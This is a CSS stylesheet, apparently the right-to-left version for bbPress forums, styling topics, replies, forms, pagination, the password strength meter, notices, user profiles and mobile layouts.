#bbpress-forums div.bbp-reply-content a.bbp-user-mention {
	background: none;
	border: none;
	text-decoration: none;
	text-shadow: none;
	display: inline;
	font-weight: 600;
	margin: 0;
	padding: 0;
}

#bbpress-forums div.bbp-topic-content h1,
#bbpress-forums div.bbp-reply-content h1,
#bbpress-forums div.bbp-topic-content h2,
#bbpress-forums div.bbp-reply-content h2,
#bbpress-forums div.bbp-topic-content h3,
#bbpress-forums div.bbp-reply-content h3,
#bbpress-forums div.bbp-topic-content h4,
#bbpress-forums div.bbp-reply-content h4,
#bbpress-forums div.bbp-topic-content h5,
#bbpress-forums div.bbp-reply-content h5,
#bbpress-forums div.bbp-topic-content h6,
#bbpress-forums div.bbp-reply-content h6 {
	clear: none;
	line-height: 1;
	margin: 24px 0;
	padding: 0;
}

#bbpress-forums div.bbp-topic-content img,
#bbpress-forums div.bbp-reply-content img {
	max-width: 100%;
	height: auto;
}

#bbpress-forums div.bbp-topic-content ul,
#bbpress-forums div.bbp-reply-content ul,
#bbpress-forums div.bbp-topic-content ol,
#bbpress-forums div.bbp-reply-content ol {
	margin: 0 15px 15px;
	padding: 0;
}

#bbpress-forums div.bbp-topic-content ul li,
#bbpress-forums div.bbp-reply-content ul li {
	list-style-type: disc;
}

#bbpress-forums div.bbp-topic-content ol li,
#bbpress-forums div.bbp-reply-content ol li {
	list-style-type: decimal;
}

#bbpress-forums div.bbp-topic-content ol li li,
#bbpress-forums div.bbp-reply-content ol li li {
	list-style-type: lower-alpha;
}

#bbpress-forums div.bbp-topic-content ol li li li,
#bbpress-forums div.bbp-reply-content ol li li li {
	list-style-type: upper-roman;
}

#bbpress-forums div.bbp-topic-content code,
#bbpress-forums div.bbp-reply-content code,
#bbpress-forums div.bbp-topic-content pre,
#bbpress-forums div.bbp-reply-content pre {
	font-family: Inconsolata, Consolas, Monaco, "Lucida Console", monospace;
	display: inline-block;
	background-color: #f9f9f9;
	border: 1px solid #ddd;
	padding: 0 5px;
	max-width: 95%;
	vertical-align: middle;
	margin-top: -3px;
	overflow-x: auto;
}

#bbpress-forums div.bbp-topic-content pre,
#bbpress-forums div.bbp-reply-content pre {
	display: block;
	line-height: 18px;
	margin: 0 0 24px;
	padding: 5px 10px;
	white-space: pre;
	overflow: auto;
}

#bbpress-forums div.bbp-topic-content pre code,
#bbpress-forums div.bbp-reply-content pre code {
	display: block;
	border: none;
	padding: 0;
	margin: 0;
	background-color: transparent;
	overflow-wrap: normal;
	overflow: auto;
	max-width: 100%;
}

#bbpress-forums div.bbp-topic-content iframe.wp-embedded-content,
#bbpress-forums div.bbp-reply-content iframe.wp-embedded-content {
	position: relative;
}

/* =Reply to
-------------------------------------------------------------- */

#bbpress-forums div.bbp-reply-to {
	margin-right: 130px;
	padding: 12px 0 12px 12px;
	text-align: left;
}

#bbpress-forums div#bbp-cancel-reply-to {
	text-align: left;
}

/* =Breadcrumb and Tags
-------------------------------------------------------------- */

div.bbp-breadcrumb {
	float: right;
}

div.bbp-breadcrumb,
div.bbp-topic-tags {
	font-size: 12px;
}

#bbpress-forums div.bbp-breadcrumb p,
#bbpress-forums div.bbp-topic-tags p {
	margin: 0 0 10px 0;
}

#bbpress-forums div.bbp-topic-tags {
	float: left;
	clear: both;
}

#bbp-topic-hot-tags {
	clear: both;
}

/* =Search
-------------------------------------------------------------- */

#bbpress-forums #bbp-search-form {
	clear: right;
}

#bbpress-forums #bbp-search-form .hidden {
	height: 0;
	width: 0;
	overflow: hidden;
	position: absolute;
	background: none;
	right: -999em;
}

#bbpress-forums #bbp-search-form #bbp_search {
	display: inline-block;
	width: auto;
}

#bbpress-forums div.bbp-search-form {
	float: left;
}

/* =Admin Links
-------------------------------------------------------------- */

span.bbp-admin-links {
	float: left;
	color: #ddd;
}

span.bbp-admin-links a {
	color: #707070;
	font-weight: 400;
	font-size: 10px;
	text-transform: uppercase;
	text-decoration: none;
}

fieldset span.bbp-admin-links {
	float: right;
}

tr td span.bbp-admin-links a:hover {
	color: #ff4b33;
}

td.bbp-topic-admin-links,
td.bbp-topic-counts {
	width: 50%;
}

.bbp-forum-header a.bbp-forum-permalink,
.bbp-topic-header a.bbp-topic-permalink,
.bbp-reply-header a.bbp-reply-permalink {
	float: left;
	margin-right: 10px;
	color: #707070;
}

/* =Toggles
-------------------------------------------------------------- */

.bbp-row-actions #favorite-toggle a {
	text-decoration: none;
	padding: 0 3px 1px;
	color: #7c7;
	border: 1px solid #aca;
	background-color: #dfd;
	font-weight: 700;
	font-size: 12px;
}

.bbp-row-actions #favorite-toggle a:hover {
	color: #5a5;
	border-color: #7c7;
	background-color: #beb;
}

.bbp-row-actions #favorite-toggle span.is-favorite a {
	color: #faa;
	border: 1px solid #faa;
	background-color: #fee;
}

.bbp-row-actions #favorite-toggle span.is-favorite a:hover {
	color: #c88;
	border-color: #c88;
	background-color: #fdd;
}

.bbp-row-actions #subscription-toggle a {
	text-decoration: none;
	padding: 0 3px 1px;
	color: #7c7;
	border: 1px solid #aca;
	background-color: #dfd;
	font-weight: 700;
	font-size: 12px;
}

.bbp-row-actions #subscription-toggle a:hover {
	color: #5a5;
	border-color: #7c7;
	background-color: #beb;
}

.bbp-row-actions #subscription-toggle span.is-subscribed a {
	color: #faa;
	border: 1px solid #faa;
	background-color: #fee;
}

.bbp-row-actions #subscription-toggle span.is-subscribed a:hover {
	color: #c88;
	border-color: #c88;
	background-color: #fdd;
}

#bbpress-forums .bbp-forum-info .bbp-forum-content,
#bbpress-forums p.bbp-topic-meta {
	font-size: 11px;
	margin: 5px 0;
	padding: 0;
	word-wrap: break-word;
}

#bbpress-forums p.bbp-topic-meta span {
	white-space: nowrap;
}

/* =Pagination
-------------------------------------------------------------- */

.bbp-pagination-count {
	float: right;
	border: 1px solid transparent;
}

.bbp-pagination-links {
	float: left;
	list-style: none;
	display: inline;
}

.bbp-pagination {
	float: right;
	width: 100%;
	margin-bottom: 15px;
}

#bbpress-forums .bbp-pagination-links a,
#bbpress-forums .bbp-pagination-links span.current {
	display: block;
	float: right;
	font-size: 12px;
	line-height: 18px;
	padding: 0 5px;
	margin-right: 5px;
	border: 1px solid #efefef;
	border-radius: 0;
	background: transparent;
	color: inherit;
	text-decoration: none;
}

#bbpress-forums .bbp-pagination-links span.dots {
	display: block;
	float: right;
	padding: 1px 4px;
	margin-right: 5px;
}

#bbpress-forums .bbp-topic-pagination {
	display: inline-block;
	margin-right: 5px;
	margin-bottom: 2px;
}

#bbpress-forums .bbp-topic-pagination a {
	font-size: 10px;
	font-weight: 400;
	line-height: 10px;
	margin: 0;
	padding: 1px 3px;
	border: 1px solid #ddd;
	color: inherit;
	background: none;
	display: inline;
	text-decoration: none;
}

#bbpress-forums .bbp-topic-pagination a:hover,
#bbpress-forums .bbp-pagination-links a:hover,
#bbpress-forums .bbp-pagination-links span.current {
	background: #eee;
	opacity: 0.8;
	border: 1px solid #ddd;
}

/* =Forms
-------------------------------------------------------------- */

#bbpress-forums fieldset.bbp-form {
	clear: right;
	border: 1px solid #eee;
	padding: 10px 20px;
	margin-bottom: 10px;
}

#bbpress-forums fieldset.bbp-form legend {
	padding: 5px;
	width: auto;
	border: none;
}

#bbpress-forums fieldset.bbp-form label {
	margin: 0;
	display: inline-block;
}

#bbp-edit-topic-tag.bbp-form fieldset.bbp-form label,
#bbp-login fieldset label,
#bbp-register fieldset label,
#bbp-lost-pass fieldset label {
	width: 100px;
}

/* Some themes aggressively add padding to paragraph tags */
#bbpress-forums fieldset.bbp-form p {
	padding: 0;
}

#bbpress-forums fieldset.bbp-form p,
#bbpress-forums fieldset.bbp-form textarea,
#bbpress-forums fieldset.bbp-form select,
#bbpress-forums fieldset.bbp-form input {
	margin: 0 0 8px;
}

/* Try to prevent untall selects & text boxes */
#bbpress-forums fieldset.bbp-form select,
#bbpress-forums fieldset.bbp-form input[type="text"] {
	min-height: 28px;
	height: 28px;
	padding: 5px;
}

textarea#bbp_reply_content,
textarea#bbp_topic_content,
textarea#bbp_forum_content {
	width: 97%;
	box-sizing: border-box;
}

textarea#bbp_forum_content {
	height: 210px;
}

#bbpress-forums fieldset.bbp-forum-form-attributes {
	width: 200px;
	float: left;
	clear: none;
	margin-right: 25px;
}

/**
 * Fix for too-long forum names, usually from conversion
 */
#bbpress-forums fieldset select#bbp_forum_id {
	max-width: 200px;
}

.bbp-topic-form,
.bbp-reply-form,
.bbp-topic-tag-form {
	clear: right;
}

body.topic-edit .bbp-topic-form div.avatar img,
body.reply-edit .bbp-reply-form div.avatar img,
body.single-forum .bbp-topic-form div.avatar img,
body.single-reply .bbp-reply-form div.avatar img {
	margin-left: 0;
	padding: 10px;
	border: 1px solid #ddd;
	line-height: 0;
	background-color: #efefef;
}

body.page .bbp-reply-form code,
body.page .bbp-topic-form code,
body.single-topic .bbp-reply-form code,
body.single-forum .bbp-topic-form code,
body.topic-edit .bbp-topic-form code,
body.reply-edit .bbp-reply-form code {
	font-size: 10px;
	background-color: #f0fff8;
	border: 1px solid #ceefe1;
	display: block;
	padding: 8px;
	margin-top: 5px;
	width: 369px;
}

#merge_tag,
#delete_tag {
	display: inline;
}

div.bbp-submit-wrapper {
	margin-top: 15px;
	float: left;
	clear: both;
}

p.form-allowed-tags {
	max-width: 100%;
}

/* =TinyMCE in themes
-------------------------------------------------------------- */
#bbpress-forums div.bbp-the-content-wrapper {
	margin-bottom: 10px;
}

#bbpress-forums div.bbp-the-content-wrapper textarea.bbp-the-content {
	width: 100%;
	margin: 0;
	font-size: 12px;
}

#bbpress-forums div.bbp-the-content-wrapper table,
#bbpress-forums div.bbp-the-content-wrapper tbody,
#bbpress-forums div.bbp-the-content-wrapper tr,
#bbpress-forums div.bbp-the-content-wrapper td {
	border: none;
	padding: 0;
	margin: 0;
	width: auto;
	line-height: 1;
}

#bbpress-forums div.bbp-the-content-wrapper input[type="button"] {
	padding: 4px 7px;
	margin: 0 0 0 -1px;
	line-height: 0;
	border: 1px solid transparent;
	background-color: transparent;
	box-shadow: none;
	text-shadow: none;
	text-transform: uppercase;
	font-size: 11px;
	font-weight: 400;
	border-radius: 3px;
	min-width: 25px;
	color: #555;
}

#bbpress-forums div.bbp-the-content-wrapper input[type="button"]:hover {
	border-color: rgba(0, 0, 0, 0.1);
	background-color: rgba(255, 255, 255, 0.5);
}

#bbpress-forums div.bbp-the-content-wrapper div.quicktags-toolbar {
	padding: 5px;
	min-height: 26px;
}

#bbpress-forums div.bbp-the-content-wrapper td.mceToolbar {
	padding: 4px 4px 8px;
}

#bbpress-forums div.wp-editor-container {
	margin: 0;
	padding: 0;
	line-height: 0;
}

#bbpress-forums div.bbp-the-content-wrapper td.mceStatusbar {
	line-height: 16px;
}

#bbpress-forums .bbp-replies .bbp-reply-form {
	margin: 0 10px 0 10px;
}

/* =Edit User
-------------------------------------------------------------- */

#bbpress-forums #bbp-your-profile fieldset {
	padding: 20px 20px 0;
}

#bbpress-forums #bbp-your-profile fieldset div {
	margin-bottom: 20px;
	float: right;
	width: 100%;
	clear: right;
}

#bbpress-forums #bbp-your-profile fieldset select {
	margin-bottom: 0;
	width: 60%;
	background-color: #f9f9f9;
	border: 1px solid #ddd;
}

#bbpress-forums #bbp-your-profile fieldset input,
#bbpress-forums #bbp-your-profile fieldset textarea {
	margin-bottom: 0;
	width: 60%;
	background-color: #f9f9f9;
	border: 1px solid #ddd;
	box-shadow: none;
	border-radius: 0;
}

#bbpress-forums #bbp-your-profile fieldset input:focus,
#bbpress-forums #bbp-your-profile fieldset textarea:focus {
	border: 1px solid #ccc;
	box-shadow: inset -1px 1px 1px rgba(0, 0, 0, 0.1);
	outline-color: rgba(240, 255, 240, 0.1);
}

#bbpress-forums #bbp-your-profile fieldset.bbp-form input.checkbox {
	width: auto;
}

#bbpress-forums #bbp-your-profile fieldset legend {
	display: none;
}

#bbpress-forums #bbp-your-profile fieldset label[for] {
	float: right;
	width: 20%;
	padding: 5px 0 5px 20px;
	text-align: left;
	cursor: pointer;
}

#bbpress-forums #bbp-your-profile fieldset dl label[for] {
	text-align: right;
	width: 60%;
}

#bbpress-forums #bbp-your-profile fieldset p.description {
	margin: 5px 20% 0 0;
	font-size: 12px;
	font-style: italic;
	float: right;
	clear: right;
	width: 60%;
	padding: 5px 8px;
	border: #cee1ef 1px solid;
	background-color: #f0f8ff;
}

#bbpress-forums #bbp-your-profile fieldset fieldset {
	margin: 0;
	border: none;
	padding: 0;
	clear: none;
	float: none;
}

#bbpress-forums #bbp-your-profile fieldset fieldset.capabilities dl {
	margin: 0;
}

#bbpress-forums #bbp-your-profile fieldset.submit button {
	float: left;
}

/* =Password Generator
-------------------------------------------------------------- */

#bbpress-forums #bbp-your-profile fieldset fieldset.password {
	width: 60%;
	display: inline;
}

#bbpress-forums #bbp-your-profile fieldset fieldset.password .password-input-wrapper,
#bbpress-forums #bbp-your-profile fieldset fieldset.password .password-button-wrapper {
	width: 100%;
	margin: 0;
	display: inline-block;
}

#bbpress-forums #bbp-your-profile fieldset fieldset.password .password-button-wrapper button {
	width: 46%;
	margin: 4% 2%;
	box-sizing: border-box;
	display: inline-block;
}

#bbpress-forums #bbp-your-profile fieldset fieldset.password input,
#bbpress-forums #bbp-your-profile fieldset fieldset.passwword textarea {
	width: 100%;
}

#bbpress-forums #bbp-your-profile fieldset fieldset.password button .dashicons {
	display: none;
}

#bbpress-forums #bbp-your-profile fieldset fieldset.password span.description {
	margin-right: 0;
	margin-bottom: 20px;
}

#bbpress-forums #password #pass-strength-result {
	background-color: #eee;
	border: 1px solid #ddd;
	color: #23282d;
	margin: 0;
	padding: 8px;
	text-align: center;
	box-sizing: border-box;
	display: inline-block;
}

#bbpress-forums #password #pass-strength-result.short {
	background-color: #f1adad;
	border-color: #e35b5b;
	opacity: 1;
}

#bbpress-forums #password #pass-strength-result.bad {
	background-color: #fbc5a9;
	border-color: #f78b53;
	opacity: 1;
}

#bbpress-forums #password #pass-strength-result.good {
	background-color: #ffe399;
	border-color: #ffc733;
	opacity: 1;
}

#bbpress-forums #password #pass-strength-result.strong {
	background-color: #c1e1b9;
	border-color: #83c373;
	opacity: 1;
}

#bbpress-forums #password #pass1.short,
#bbpress-forums #password #pass1-text.short {
	border-color: #e35b5b;
}

#bbpress-forums #password#pass1.bad,
#bbpress-forums #password #pass1-text.bad {
	border-color: #f78b53;
}

#bbpress-forums #password #pass1.good,
#bbpress-forums #password #pass1-text.good {
	border-color: #ffc733;
}

#bbpress-forums #password #pass1.strong,
#bbpress-forums #password #pass1-text.strong {
	border-color: #83c373;
}

#bbpress-forums .indicator-hint {
	padding-top: 8px;
}

#bbpress-forums .pw-weak,
#bbpress-forums #pass1-text,
#bbpress-forums .show-password #pass1 {
	display: none;
}

#bbpress-forums .show-password #pass1-text {
	display: inline-block;
}

/* =Notices
-------------------------------------------------------------- */

div.bbp-template-notice,
div.indicator-hint {
	border-width: 1px;
	border-style: solid;
	padding: 0 0.6em;
	margin: 5px 0 15px;
	border-radius: 3px;
	background-color: #ffffe0;
	border-color: #e6db55;
	color: #000;
	clear: both;
}

div.bbp-template-notice a {
	color: #555;
	text-decoration: none;

}

div.bbp-template-notice a:hover {
	color: #000;
}

div.bbp-template-notice.info {
	border: #cee1ef 1px solid;
	background-color: #f0f8ff;
}

div.bbp-template-notice.important {
	border: #e6db55 1px solid;
	background-color: #fffbcc;
}

div.bbp-template-notice.error,
div.bbp-template-notice.warning {
	background-color: #ffebe8;
	border-color: #c00;
}

div.bbp-template-notice.error a,
div.bbp-template-notice.warning a {
	color: #c00;
}

div.bbp-template-notice p,
div.bbp-template-notice li {
	margin: 0.5em 0 6px !important;
	padding: 2px;
	font-size: 12px;
	line-height: 1.4;
}

#bbpress-forums div.bbp-template-notice code {
	font-size: 11px;
	padding: 2px 4px;
	background: rgba(200, 200, 200, 0.3);
	border-radius: 3px;
}

/* =Stickies
-------------------------------------------------------------- */

.bbp-topics-front ul.super-sticky,
.bbp-topics ul.super-sticky,
.bbp-topics ul.sticky,
.bbp-forum-content ul.sticky {
	background-color: #ffffe0 !important;
	font-size: 1.1em;
}

/* =Revisions
-------------------------------------------------------------- */

#bbpress-forums .bbp-topic-content ul.bbp-topic-revision-log,
#bbpress-forums .bbp-reply-content ul.bbp-topic-revision-log,
#bbpress-forums .bbp-reply-content ul.bbp-reply-revision-log {
	border-top: 1px dotted #ddd;
	width: 100%;
	margin: 0;
	padding: 8px 0 0;
	font-size: 11px;
	color: #aaa;
}

#bbpress-forums .bbp-topic-content ul.bbp-topic-revision-log li,
#bbpress-forums .bbp-reply-content ul.bbp-topic-revision-log li,
#bbpress-forums .bbp-reply-content ul.bbp-reply-revision-log li {
	list-style-type: none;
}

#bbpress-forums .bbp-topic-content ul.bbp-topic-revision-log a,
#bbpress-forums .bbp-reply-content ul.bbp-topic-revision-log a,
#bbpress-forums .bbp-reply-content ul.bbp-reply-revision-log a {
	text-decoration: none;
}

/* =Widgets
-------------------------------------------------------------- */

.bbp-login-form fieldset legend {
	display: none;
}

.bbp-login-form .bbp-username input,
.bbp-login-form .bbp-email input,
.bbp-login-form .bbp-password input {
	padding: 5px;
}

.bbp-login-form label {
	width: 140px;
	display: inline-block;
}

#sidebar .bbp-login-form label {
	width: 70px;
}

.bbp-login-form .bbp-username,
.bbp-login-form .bbp-email,
.bbp-login-form .bbp-password,
.bbp-login-form .bbp-remember-me,
.bbp-login-form .bbp-submit-wrapper {
	margin-top: 10px;
}

.bbp-login-form .bbp-submit-wrapper {
	text-align: left;
}

.bbp-login-form .bbp-login-links a {
	float: right;
	clear: right;
}

.bbp-logged-in img.avatar {
	float: right;
	margin: 0 0 0 15px;
}

.bbp-logged-in h4 {
	font-weight: 700;
	font-size: 1.3em;
	clear: none;
	margin-bottom: 10px;
}

/* =Avatars
-------------------------------------------------------------- */

#bbpress-forums img.avatar {
	box-shadow: none;
	display: inline-block;
	margin-left: 4px;
}

#bbpress-forums p.bbp-topic-meta img.avatar,
#bbpress-forums ul.bbp-reply-revision-log img.avatar,
#bbpress-forums ul.bbp-topic-revision-log img.avatar,
#bbpress-forums div.bbp-template-notice img.avatar,
#bbpress-forums .widget_display_topics img.avatar,
#bbpress-forums .widget_display_replies img.avatar {
	float: none;
	vertical-align: middle;
	border: 3px double #ddd;
	max-height: 20px;
	max-width: 20px;
}

fieldset div.avatar {
	float: left;
}

/* =BuddyPress Activity Streams
-------------------------------------------------------------- */

.activity-list li.bbp_topic_create .activity-content .activity-inner,
.activity-list li.bbp_reply_create .activity-content .activity-inner {
	border-right: 2px solid #eaeaea;
	margin-right: 5px;
	padding-right: 10px;
}

/* =User Pages
-------------------------------------------------------------- */

#bbpress-forums h1 {
	clear: none;
	font-size: 1.8em;
	line-height: 1;
	padding-bottom: 10px;
}

#bbpress-forums #bbp-user-wrapper {
	float: right;
	width: 100%;
}

#bbpress-forums .bbp-user-section {
	overflow: auto;
	clear: left;
}

#bbpress-forums #bbp-user-wrapper h2.entry-title {
	font-size: 1.4em;
	margin: 0;
	padding-bottom: 10px;
	padding-top: 0;
	clear: none;
}

#bbpress-forums #bbp-user-wrapper ul.bbp-lead-topic,
#bbpress-forums #bbp-user-wrapper ul.bbp-topics,
#bbpress-forums #bbp-user-wrapper ul.bbp-forums,
#bbpress-forums #bbp-user-wrapper ul.bbp-replies,
#bbpress-forums #bbp-user-wrapper fieldset.bbp-form {
	clear: none;
}

#bbpress-forums #bbp-single-user-details {
	margin: 0;
	width: 150px;
	float: right;
	overflow: hidden;
}

#bbpress-forums #bbp-single-user-details #bbp-user-avatar {
	margin: 0;
	width: 150px;
}

#bbpress-forums #bbp-single-user-details #bbp-user-avatar img.avatar {
	border: none;
	height: 150px;
	padding: 0;
	margin: 0 0 20px;
	width: 150px;
}

#bbpress-forums #bbp-single-user-details #bbp-user-description {
	float: none;
	margin-right: 180px;
}

#bbpress-forums #bbp-single-user-details #bbp-user-navigation {
	float: none;
	margin: 0;
}

#bbpress-forums #bbp-single-user-details #bbp-user-navigation li {
	margin: 0;
}

#bbpress-forums #bbp-single-user-details #bbp-user-navigation a {
	padding: 5px 8px;
	display: block;
	border: 1px solid transparent;
	text-decoration: none;
}

#bbpress-forums #bbp-single-user-details #bbp-user-navigation li.current a {
	background: #eee;
	opacity: 0.8;
}

#bbpress-forums #bbp-user-body {
	margin-right: 180px;
}

body.my-account #bbpress-forums {
	border-top: none;
	padding-top: 0;
	margin-bottom: 0;
}

/* =User Capabilities
-------------------------------------------------------------- */

#bbpress-forums dl.bbp-user-capabilities {
	display: inline-block;
	vertical-align: top;
}

#bbpress-forums dl.bbp-user-capabilities dt {
	margin: 0 0 10px;
	text-transform: capitalize;
}

#bbpress-forums dl.bbp-user-capabilities dd {
	margin: 0;
	padding: 0;
}

/* =Alerts
-------------------------------------------------------------- */

.bbp-alert-outer {
	height: 100%;
	width: 100%;
	top: 0;
	right: 0;
	position: fixed;
	background-color: rgba(0, 0, 0, 0.2);
	z-index: 99999;
}

.bbp-alert-inner {
	width: 350px;
	text-align: center;
	background: #fff;
	position: fixed;
	top: 50%;
	right: 50%;
	margin-top: -75px;
	margin-right: -185px;
	border-radius: 3px;
	border: 1px solid #aaa;
	padding: 15px 10px 10px;
}

.bbp-alert-outer .bbp-alert-inner p {
	margin: 10px 0;
}

.bbp-alert-actions a {
	padding: 5px 20px;
	text-decoration: none;
}

/*--------------------------------------------------------------
 Media Queries
--------------------------------------------------------------*/

/* =Standard Mobile Landscape
-------------------------------------------------------------- */
@media only screen and (max-width: 480px) {

	#bbpress-forums div.bbp-topic-tags {
		clear: both;
		float: none;
	}

	div.bbp-search-form input,
	div.bbp-search-form button {
		font-size: 11px;
		padding: 2px;
	}

	li.bbp-forum-info,
	li.bbp-topic-title {
		width: 45%;
	}

	li.bbp-forum-topic-count,
	li.bbp-forum-reply-count,
	li.bbp-topic-voice-count,
	li.bbp-topic-reply-count {
		width: 15%;
	}

	span.bbp-topic-post-date,
	span.bbp-reply-post-date {
		float: right;
	}

	span.bbp-admin-links {
		float: none;
		clear: both;
	}

	#bbpress-forums .bbp-forums-list li,
	#bbpress-forums .bbp-forums-list span {
		display: block;
		font-size: 11px;
	}

	#bbpress-forums .bbp-body div.bbp-topic-author,
	#bbpress-forums .bbp-body div.bbp-reply-author {
		float: none;
		margin: 10px;
		min-height: 80px;
		padding-right: 80px;
		position: relative;
		text-align: right;
		width: calc(100% - 100px);
		border-bottom: 1px solid #efefef;
		box-sizing: content-box;
	}

	#bbpress-forums div.bbp-topic-author .bbp-author-name,
	#bbpress-forums div.bbp-reply-author .bbp-author-name {
		clear: none;
		display: inline-block;
		margin-right: 0;
		word-wrap: break-word;
	}

	#bbpress-forums div.bbp-topic-author img.avatar,
	#bbpress-forums div.bbp-reply-author img.avatar {
		position: absolute;
		top: 0;
		right: 0;
		width: 60px;
		height: auto;
		margin-top: 0;
	}

	#bbpress-forums div.bbp-topic-author .bbp-author-role,
	#bbpress-forums div.bbp-reply-author .bbp-author-role {
		font-size: 12px;
		font-style: normal;
	}

	#bbpress-forums .bbp-body div.bbp-topic-content,
	#bbpress-forums .bbp-body div.bbp-reply-content {
		clear: both;
		margin: 0 10px 5px 10px;
		padding: 0;
	}

	#bbpress-forums div.bbp-topic-content p,
	#bbpress-forums div.bbp-reply-content p {
		margin-bottom: 1em;
	}

	#bbpress-forums div.bbp-topic-content p:last-child,
	#bbpress-forums div.bbp-reply-content p:last-child {
		margin-bottom: 0;
	}

	div.bbp-submit-wrapper {
		float: right;
	}

	#bbpress-forums fieldset.bbp-form {
		padding: 0 10px 10px;
	}

	#bbpress-forums #bbp-user-body {
		clear: both;
		margin-right: 0;
		word-wrap: break-word;
	}

	#bbpress-forums div.bbp-forum-title h3,
	#bbpress-forums div.bbp-topic-title h3,
	#bbpress-forums div.bbp-reply-title h3 {
		font-size: 14px;
	}
}

/* =Standard Mobile Portrait
-------------------------------------------------------------- */
@media only screen and (max-width: 320px) {

	#bbpress-forums div.bbp-search-form {
		margin-bottom: 10px;
	}

	#bbpress-forums li.bbp-header li.bbp-forum-info,
	#bbpress-forums li.bbp-body li.bbp-forum-info,
	#bbpress-forums li.bbp-header li.bbp-topic-title,
	#bbpress-forums li.bbp-body li.bbp-topic-title {
		width: 100%;
	}

	#bbpress-forums li.bbp-header li.bbp-forum-info,
	#bbpress-forums li.bbp-header li.bbp-topic-title {
		text-align: center;
		text-transform: uppercase;
	}

	#bbpress-forums li.bbp-header li.bbp-forum-topic-count,
	#bbpress-forums li.bbp-header li.bbp-forum-reply-count,
	#bbpress-forums li.bbp-body li.bbp-forum-topic-count,
	#bbpress-forums li.bbp-body li.bbp-forum-reply-count,
	#bbpress-forums li.bbp-header li.bbp-topic-voice-count,
	#bbpress-forums li.bbp-header li.bbp-topic-reply-count,
	#bbpress-forums li.bbp-body li.bbp-topic-voice-count,
	#bbpress-forums li.bbp-body li.bbp-topic-reply-count {
		width: 20%;
	}

	#bbpress-forums li.bbp-header li.bbp-forum-freshness,
	#bbpress-forums li.bbp-body li.bbp-forum-freshness,
	#bbpress-forums li.bbp-header li.bbp-topic-freshness,
	#bbpress-forums li.bbp-body li.bbp-topic-freshness {
		width: 58%;
	}

	#bbpress-forums li.bbp-body li.bbp-forum-topic-count,
	#bbpress-forums li.bbp-body li.bbp-forum-reply-count,
	#bbpress-forums li.bbp-body li.bbp-forum-freshness,
	#bbpress-forums li.bbp-body li.bbp-topic-voice-count,
	#bbpress-forums li.bbp-body li.bbp-topic-reply-count,
	#bbpress-forums li.bbp-body li.bbp-topic-freshness {
		margin-top: 7px;
	}

	#bbpress-forums li.bbp-header,
	#bbpress-forums li.bbp-footer {
		font-size: 10px;
	}

	#bbpress-forums li.bbp-header div.bbp-search-author,
	#bbpress-forums li.bbp-header div.bbp-topic-author,
	#bbpress-forums li.bbp-header div.bbp-reply-author {
		text-align: right;
		width: 25%;
	}

	#bbpress-forums li.bbp-header div.bbp-search-content,
	#bbpress-forums li.bbp-header div.bbp-topic-content,
	#bbpress-forums li.bbp-header div.bbp-reply-content {
		margin-right: 25%;
	}

	#bbpress-forums div.bbp-template-notice img.avatar,
	#bbpress-forums p.bbp-topic-meta img.avatar {
		width: 14px;
		height: auto;
		max-height: 14px;
		max-width: 14px;
	}

	#bbpress-forums div.bbp-the-content-wrapper td.mceToolbar {
		padding: 1px;
	}

	#bbpress-forums div.bbp-the-content-wrapper td.mceToolbar td {
		width: 20px;
		height: 20px;
	}

	#bbpress-forums div.wp-editor-container {
		width: 100%;
		overflow: auto;
	}

	#bbpress-forums input#bbp_topic_title,
	#bbpress-forums input#bbp_topic_tags {
		width: 95%;
	}

	#bbpress-forums div.bbp-forum-title h3,
	#bbpress-forums div.bbp-topic-title h3,
	#bbpress-forums div.bbp-reply-title h3 {
		font-size: 14px;
	}
}

/* =Extra Small Mobile
-------------------------------------------------------------- */
@media only screen and (max-width: 240px) {

	#bbpress-forums li.bbp-header li.bbp-forum-topic-count,
	#bbpress-forums li.bbp-header li.bbp-forum-reply-count,
	#bbpress-forums li.bbp-body li.bbp-forum-topic-count,
	#bbpress-forums li.bbp-body li.bbp-forum-reply-count,
	#bbpress-forums li.bbp-header li.bbp-topic-voice-count,
	#bbpress-forums li.bbp-header li.bbp-topic-reply-count,
	#bbpress-forums li.bbp-body li.bbp-topic-voice-count,
	#bbpress-forums li.bbp-body li.bbp-topic-reply-count,
	#bbpress-forums li.bbp-footer div.bbp-search-author,
	#bbpress-forums li.bbp-footer div.bbp-topic-author,
	#bbpress-forums li.bbp-footer div.bbp-reply-author {
		width: 45%;
	}

	#bbpress-forums li.bbp-header li.bbp-forum-freshness,
	#bbpress-forums li.bbp-body li.bbp-forum-freshness,
	#bbpress-forums li.bbp-header li.bbp-topic-freshness,
	#bbpress-forums li.bbp-body li.bbp-topic-freshness {
		clear: both;
		width: 100%;
	}

	#bbpress-forums li.bbp-header li.bbp-forum-freshness,
	#bbpress-forums li.bbp-header li.bbp-topic-freshness {
		text-align: center;
	}

	#bbpress-forums li.bbp-body li.bbp-topic-freshness,
	#bbpress-forums li.bbp-header div.bbp-search-author,
	#bbpress-forums li.bbp-header div.bbp-search-content,
	#bbpress-forums li.bbp-header div.bbp-topic-author,
	#bbpress-forums li.bbp-header div.bbp-topic-content,
	#bbpress-forums li.bbp-header div.bbp-reply-author,
	#bbpress-forums li.bbp-header div.bbp-reply-content {
		margin-right: 0;
		text-align: right;
	}

	#bbpress-forums li.bbp-body li.bbp-topic-freshness p.bbp-topic-meta {
		display: inline-block;
	}

	#bbpress-forums li.bbp-header {
		overflow: hidden;
	}

	#bbpress-forums li.bbp-footer div.bbp-search-content,
	#bbpress-forums li.bbp-footer div.bbp-topic-content,
	#bbpress-forums li.bbp-footer div.bbp-reply-content {
		display: inline-block;
		margin-right: 0;
	}

	#bbpress-forums li.bbp-body div.bbp-topic-author,
	#bbpress-forums li.bbp-body div.bbp-reply-author {
		min-height: 60px;
		padding-right: 60px;
	}

	#bbpress-forums div.bbp-topic-author img.avatar,
	#bbpress-forums div.bbp-reply-author img.avatar {
		width: 40px;
		height: auto;
	}

	#bbpress-forums div.bbp-forum-title h3,
	#bbpress-forums div.bbp-topic-title h3,
	#bbpress-forums div.bbp-reply-title h3 {
		font-size: 12px;
	}
}
